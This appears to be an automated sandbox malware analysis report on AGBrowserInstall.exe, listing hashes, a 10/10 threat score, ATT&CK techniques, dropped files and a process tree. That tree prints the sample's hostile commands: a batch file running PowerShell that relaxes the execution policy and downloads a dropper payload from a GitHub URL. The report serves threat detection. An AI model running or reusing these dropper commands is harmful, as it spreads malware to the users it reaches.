6a3c5364c921e44dcf927fce156f5eee024eda0645437b598418fd64f3be54d0

General

Target

AGBrowserInstall.exe
Size

386KB
MD5

20f27e622f0d298cd7af8c9a91ea7b71
SHA1

87aaa3444c7c43e415e6a1fa92bdfd9e5e863359
SHA256

6a3c5364c921e44dcf927fce156f5eee024eda0645437b598418fd64f3be54d0
SHA512

d0c4ea21b2a85bc53ed44449abaabc51b7c611ab24ed8c00110fcfae2c921ff44b5b480fcc47c863cc03f3fc05cdfb1560e37ec85132cdaae3a638ce154d22ef
SSDEEP

12288:ts9R4MNho+qARzl+7LHcXwdBYVUPVBvh:ts9R4MJqKj3VUPVBvh

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/KaladinDMP/AGBrowser/raw/main/ARMGDDNBrowser.zip.001

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
30	1416	powershell.exe
34	1416	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	AGBrowserInstall.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1964	powershell.exe
1964	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
1416	powershell.exe
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4464 wrote to memory of 5096	4464	AGBrowserInstall.exe	91
PID 4464 wrote to memory of 5096	4464	AGBrowserInstall.exe	91
PID 5096 wrote to memory of 1964	5096	cmd.exe	94
PID 5096 wrote to memory of 1964	5096	cmd.exe	94
PID 5096 wrote to memory of 4572	5096	cmd.exe	95
PID 5096 wrote to memory of 4572	5096	cmd.exe	95
PID 5096 wrote to memory of 1416	5096	cmd.exe	97
PID 5096 wrote to memory of 1416	5096	cmd.exe	97

C:\Users\Admin\AppData\Local\Temp\AGBrowserInstall.exe
"C:\Users\Admin\AppData\Local\Temp\AGBrowserInstall.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\it.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$PSVersionTable.PSVersion.Major"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "if((Get-ExecutionPolicy) -ne 'RemoteSigned') { Set-ExecutionPolicy RemoteSigned -Scope Process }"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object Net.WebClient).DownloadFile('https://github.com/KaladinDMP/AGBrowser/raw/main/ARMGDDNBrowser.zip.001', 'ARMGDDNBrowser.zip.001')"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uuemeow1.liz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\it.bat

Filesize
1KB

MD5
cf6100ecde7b98c0465c28238a93688d

SHA1
8a5e36e4d32b763636ddc26019372db1833301fc

SHA256
ad1520f8a5480135a6be5cb82bd2efc6049d3f71bf0ada6906cadfc10dac9bd0

SHA512
8f8260a8c33838f565490077fe3fefef8f053b124f52ee1c81e1cc4b23523eed2b5342a24bc921b15601f31b3735cb4937f77471d0457af5c1b904a475e3c0ad

Download Submit
memory/1416-62-0x0000027564E60000-0x0000027564E70000-memory.dmp

Filesize
64KB

Download
memory/1416-50-0x0000027564E60000-0x0000027564E70000-memory.dmp

Filesize
64KB

Download
memory/1416-64-0x0000027564E60000-0x0000027564E70000-memory.dmp

Filesize
64KB

Download
memory/1416-61-0x00007FFCA7BA0000-0x00007FFCA8661000-memory.dmp

Filesize
10.8MB

Download
memory/1416-49-0x0000027564E60000-0x0000027564E70000-memory.dmp

Filesize
64KB

Download
memory/1416-63-0x0000027564E60000-0x0000027564E70000-memory.dmp

Filesize
64KB

Download
memory/1416-48-0x00007FFCA7BA0000-0x00007FFCA8661000-memory.dmp

Filesize
10.8MB

Download
memory/1964-14-0x000002DF25D50000-0x000002DF25D60000-memory.dmp

Filesize
64KB

Download
memory/1964-19-0x000002DF25E60000-0x000002DF25E82000-memory.dmp

Filesize
136KB

Download
memory/1964-20-0x000002DF25D50000-0x000002DF25D60000-memory.dmp

Filesize
64KB

Download
memory/1964-24-0x00007FFCA7B20000-0x00007FFCA85E1000-memory.dmp

Filesize
10.8MB

Download
memory/1964-8-0x00007FFCA7B20000-0x00007FFCA85E1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-0-0x0000000000720000-0x0000000000786000-memory.dmp

Filesize
408KB

Download
memory/4464-45-0x00007FFCA7B20000-0x00007FFCA85E1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-1-0x00007FFCA7B20000-0x00007FFCA85E1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-41-0x00007FFCA7B20000-0x00007FFCA85E1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-2-0x000000001B2A0000-0x000000001B2B0000-memory.dmp

Filesize
64KB

Download
memory/4572-30-0x0000015D9D340000-0x0000015D9D350000-memory.dmp

Filesize
64KB

Download
memory/4572-47-0x00007FFCA7B20000-0x00007FFCA85E1000-memory.dmp

Filesize
10.8MB

Download
memory/4572-43-0x0000015D9D340000-0x0000015D9D350000-memory.dmp

Filesize
64KB

Download
memory/4572-42-0x0000015D9D340000-0x0000015D9D350000-memory.dmp

Filesize
64KB

Download
memory/4572-29-0x00007FFCA7B20000-0x00007FFCA85E1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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